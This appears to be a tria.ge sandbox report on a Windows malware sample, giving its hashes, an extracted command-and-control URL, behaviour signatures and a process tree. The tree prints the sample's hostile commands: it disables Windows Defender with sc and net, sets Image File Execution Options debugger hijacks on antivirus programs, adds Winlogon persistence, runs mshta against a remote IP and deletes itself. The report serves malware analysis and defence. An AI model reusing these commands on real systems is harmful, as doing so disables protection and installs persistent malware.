Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
111s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23/08/2024, 14:47
Static task
static1
Behavioral task
behavioral1
Sample
bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe
-
Size
2.5MB
-
MD5
bc2cfbc203f01930cb56f143d26856fb
-
SHA1
9f08d0a201ffae04d835864aad3e84a5bc7fe7f5
-
SHA256
f39643b37ec937d7955ed787baf39869d9823c4cb8d58a552e62956bc8a1c1b1
-
SHA512
951a3ca3c125c9c01803e3b363b679e3fb47afb88671306bea784080ac4d4149d53fcc803bb4e7e76bbb6550df44908031f0af32dce67d5f681a467da65ac108
-
SSDEEP
49152:zZEq5/FFhaH5k8ZMCzeDpiqzukgMBwZneQlllb7pEnYWH:NX5dPaZkaMZD1rJw/lllb7piYWH
Malware Config
Extracted
http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=77&4=9200&5=6&6=2&7=919041&8=1033
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\rtjygy.exe" rtjygy.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 8 912 mshta.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe rtjygy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" rtjygy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe rtjygy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe rtjygy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe" rtjygy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe rtjygy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" rtjygy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe rtjygy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe" rtjygy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe rtjygy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe" rtjygy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe" rtjygy.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe -
Executes dropped EXE 1 IoCs
pid Process 3640 rtjygy.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1868 sc.exe 5016 sc.exe 1596 sc.exe 4496 sc.exe 592 sc.exe 2728 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rtjygy.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3640 rtjygy.exe Token: SeShutdownPrivilege 3640 rtjygy.exe Token: SeDebugPrivilege 3640 rtjygy.exe Token: SeShutdownPrivilege 3640 rtjygy.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe 3640 rtjygy.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3640 rtjygy.exe 3640 rtjygy.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3336 wrote to memory of 1596 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 87 PID 3336 wrote to memory of 1596 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 87 PID 3336 wrote to memory of 1596 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 87 PID 3336 wrote to memory of 4496 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 88 PID 3336 wrote to memory of 4496 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 88 PID 3336 wrote to memory of 4496 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 88 PID 3336 wrote to memory of 3900 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 89 PID 3336 wrote to memory of 3900 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 89 PID 3336 wrote to memory of 3900 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 89 PID 3336 wrote to memory of 592 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 90 PID 3336 wrote to memory of 592 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 90 PID 3336 wrote to memory of 592 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 90 PID 3336 wrote to memory of 3640 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 95 PID 3336 wrote to memory of 3640 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 95 PID 3336 wrote to memory of 3640 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 95 PID 3900 wrote to memory of 2880 3900 net.exe 96 PID 3900 wrote to memory of 2880 3900 net.exe 96 PID 3900 wrote to memory of 2880 3900 net.exe 96 PID 3336 wrote to memory of 4132 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 97 PID 3336 wrote to memory of 4132 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 97 PID 3336 wrote to memory of 4132 3336 bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe 97 PID 3640 wrote to memory of 2728 3640 rtjygy.exe 99 PID 3640 wrote to memory of 2728 3640 rtjygy.exe 99 PID 3640 wrote to memory of 2728 3640 rtjygy.exe 99 PID 3640 wrote to memory of 5016 3640 rtjygy.exe 100 PID 3640 wrote to memory of 5016 3640 rtjygy.exe 100 PID 3640 wrote to memory of 5016 3640 rtjygy.exe 100 PID 3640 wrote to memory of 700 3640 rtjygy.exe 101 PID 3640 wrote to memory of 700 3640 rtjygy.exe 101 PID 3640 wrote to memory of 700 3640 rtjygy.exe 101 PID 3640 wrote to memory of 1868 3640 rtjygy.exe 102 PID 3640 wrote to memory of 1868 3640 rtjygy.exe 102 PID 3640 wrote to memory of 1868 3640 rtjygy.exe 102 PID 700 wrote to memory of 2156 700 net.exe 107 PID 700 wrote to memory of 2156 700 net.exe 107 PID 700 wrote to memory of 2156 700 net.exe 107 PID 3640 wrote to memory of 912 3640 rtjygy.exe 108 PID 3640 wrote to memory of 912 3640 rtjygy.exe 108 PID 3640 wrote to memory of 912 3640 rtjygy.exe 108
Processes
-
C:\Users\Admin\AppData\Local\Temp\bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1596
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4496
-
-
C:\Windows\SysWOW64\net.exenet stop msmpsvc2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
PID:2880
-
-
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:592
-
-
C:\Users\Admin\AppData\Roaming\rtjygy.exeC:\Users\Admin\AppData\Roaming\rtjygy.exe2⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2728
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5016
-
-
C:\Windows\SysWOW64\net.exenet stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:700 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc4⤵
- System Location Discovery: System Language Discovery
PID:2156
-
-
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1868
-
-
C:\Windows\SysWOW64\mshta.exemshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=77&4=9200&5=6&6=2&7=919041&8=1033"3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:912
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\BC2CFB~1.EXE" >> NUL2⤵
- System Location Discovery: System Language Discovery
PID:4132
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Defense Evasion
Impair Defenses
1Indicator Removal
1File Deletion
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.5MB
MD5bc2cfbc203f01930cb56f143d26856fb
SHA19f08d0a201ffae04d835864aad3e84a5bc7fe7f5
SHA256f39643b37ec937d7955ed787baf39869d9823c4cb8d58a552e62956bc8a1c1b1
SHA512951a3ca3c125c9c01803e3b363b679e3fb47afb88671306bea784080ac4d4149d53fcc803bb4e7e76bbb6550df44908031f0af32dce67d5f681a467da65ac108